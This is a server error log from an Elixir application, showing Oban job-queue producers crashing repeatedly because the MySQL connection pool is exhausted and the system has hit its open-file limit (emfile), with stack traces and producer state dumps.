State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:57:35.238934Z], limit: 5, uuid: "3fffb9bc-40ea-4e30-86d7-f4d5ff12014c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:35.238940Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.75746>, refresh_timer: #Reference<0.2525715032.1077673987.62074>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:57:35.239931Z], limit: 50, uuid: "b4426085-06d4-4b3b-a8c4-85d7c37ef1ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:35.239936Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.234634>, refresh_timer: #Reference<0.2525715032.1077673987.62117>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:48.426000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:48.780000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:49.084000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:50.855000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:51.195000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:56.842000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:57:46.243002Z], limit: 3, uuid: "7d80adb7-f848-4cdf-b231-21ac63c4cfae", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:46.243006Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.234935>, refresh_timer: #Reference<0.2525715032.1077673987.62194>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:57:46.242938Z], limit: 5, uuid: "951b5967-cb28-4efd-81be-d1db844fbd88", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:46.242943Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.234934>, refresh_timer: #Reference<0.2525715032.1077673987.62188>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:57:46.243244Z], limit: 20, uuid: "095ed8a8-9142-4421-9fbb-96df461be296", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:46.243249Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.234933>, refresh_timer: #Reference<0.2525715032.1077673987.62201>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:57:46.251488Z], limit: 50, uuid: "78b9ff0a-2a9b-4fbf-a58a-e84747401332", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:46.251493Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.234970>, refresh_timer: #Reference<0.2525715032.1121189889.234942>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:57:46.247730Z], limit: 5, uuid: "1a9cdfb8-33de-409b-abc6-d98b19ac3e50", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:46.247735Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.234932>, refresh_timer: #Reference<0.2525715032.1099431938.75881>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:58.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:57:46.242951Z], limit: 10, uuid: "9869668d-4bba-4c2b-9182-78896fb45e80", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:46.242957Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.89650>, refresh_timer: #Reference<0.2525715032.1068498948.89634>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:59.021000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:59.862000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:02.184000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:03.585000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:07.768000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:08.751000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:58:10.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:57:58.239781Z], limit: 3, uuid: "d68ad271-dfd8-433f-924d-3fb6bbc4cc87", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:58.239788Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.90010>, refresh_timer: #Reference<0.2525715032.1068498948.89986>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:58:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
